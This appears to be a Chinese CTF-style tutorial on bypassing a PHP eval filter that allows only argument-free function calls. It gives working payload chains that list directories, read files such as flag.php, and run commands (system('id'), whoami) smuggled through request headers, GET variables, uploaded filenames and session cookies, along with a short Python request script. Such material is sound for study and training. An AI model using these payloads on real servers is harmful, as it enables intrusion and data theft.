无参数读文件
函数/方法调用时不带参数:指读取文件的函数或方法在被调用时不需要传入任何参数
读取文件时不进行任何筛选或处理:指直接读取文件的全部内容,而不对读取过程添加任何条件或处理参数
使用默认参数:虽然看起来没有参数,但实际上使用的是函数/方法预设的默认参数
这类攻击通常受限于特定的代码环境,例如:
只能使用不带参数的函数;
传递参数时,必须是另一个函数的返回值;
受限于PHP的内置安全机制,如disable_functions和open_basedir。
例题
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>
这里使用“preg_replace”替换匹配到的字符为空,“\w”匹配字母、数字和下划线,等价于 “A-Za-z0-9_”,“(?R)?”这个意思为递归整个匹配模式
所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数)。
我们只能使用无参数的PHP函数,否则 preg_replace()
会清除代码。
无文件读取
获取当前文件下目录
一般可用以下代码获取当前目录下的文件列表。但是 "."
不能直接传递参数,因此我们需要构造 "."
的方法。
print_r(scandir('.'));
法一:lcaleconv()
current(localeconv());
localeconv()
返回本地货币格式,其中 decimal_point
位置通常是 ".";
current()
获取数组的第一个元素,即 "."。
即:
print_r(scandir(current(localeconv())));
成功获取当前目录下所有文件:
法二:chr(46)
chr(46)直接返回'.'
print_r(scandir(chr(46)));
但chr(46)依然需要 46
这个数字,我们用以下代码可以绕过:
chr(time() % 256); //当time() % 256 = 46时,返回'.'
法三:用PHP版本计算
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))));
基于PHP版本使用(以5.5.9为例):
floor(phpversion())
→5
sqrt(5)
→2.236
tan(2.236)
→-2.185
cosh(-2.185)
→4.501
sinh(4.501)
→45.081
ceil(45.081)
→46
chr(46)
→"."
print_r(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));
法四:crypy()
crypt()可生成带有‘.’的哈希
chr(ord(hebrevc(crypt(time()))));
or
chr(ord(strrev(crypt(serialize(array())))));
结合scandir()可得:
print_r(scandir(chr(ord(hebrevc(crypt(time()))))));
获取当前目录文件
获得目录列表后,我们可以读取文件。假设目标文件是 flag.php
,我们需要遍历目录列表并读取它。
法一:读取最后一个文件
show_source(end(scandir(getcwd())));
or
highlight_file(end(scandir(getcwd())));
法二:逆序数组读取
利用array_reverse()反转数组,使最后一个文件变成第一个,current()获取它。
show_source(current(array_reverse(scandir(getcwd()))));
法三:随机获取文件
array_flip()交换键和值,使文件名变为键;
array_rand()随机选取一个键,最终得到文件名
show_source(array_rand(array_flip(scandir(getcwd()))));
读取上一级目录文件
法一:dirname()
dirname(getcwd())
获取上一级目录路径;
scandir()列出该目录文件
print_r(scandir(dirname(getcwd())));
法二:利用“..”
next(scandir(getcwd()))
获取‘..’;
scandir(..)
列出上级目录。
print_r(scandir(next(scandir(getcwd()))));
无参数RCE(远程命令执行)
无参数RCE的核心思路是利用环境变量、$_GET
、$_POST
、$_COOKIE
、$_FILES
、$_SESSION
等存储参数,再通过无参数函数获取并执行。
getallheaders()
eval(pos(getallheaders()));
可在请求头中注入以下代码:
GET /index.php?code=eval(pos(getallheaders())) HTTP/1.1
Leon: system('ls');
PHP解析可得:
eval(system('ls'));
get_defined_vars()
get_defined_vars()可返回所有PHP变量,包括 $_GET
、$_POST
;
eval(pos(pos(get_defined_vars())));
GET /index.php?leon=system('id');&code=eval(pos(pos(get_defined_vars()))); //请求
system('id'); //执行
$_FILES
上传任意文件
import requests
files = {
"system('whoami');": ""
}
r = requests.post('http://127.0.0.1/index.php?code=eval(pos(pos(end(get_defined_vars()))));', files=files)
print(r.text)
因为$_FILES 在get_defined_vars()结果的最后一项,我们用end()取出,再pos(pos())获取文件名,最终执行代码。
session_id()
eval(hex2bin(session_id(session_start())));
利用Cookie传入session_id;
Cookie: PHPSESSID=706870696e666f28293b
hex2bin()解码为
phpinfo();
最终eval()执行phpinfo()。
总结
无参数RCE和文件读取实际情况下会存在许多过滤,需要自己结合以上方法绕过,主要还是考察对PHP函数的熟练程度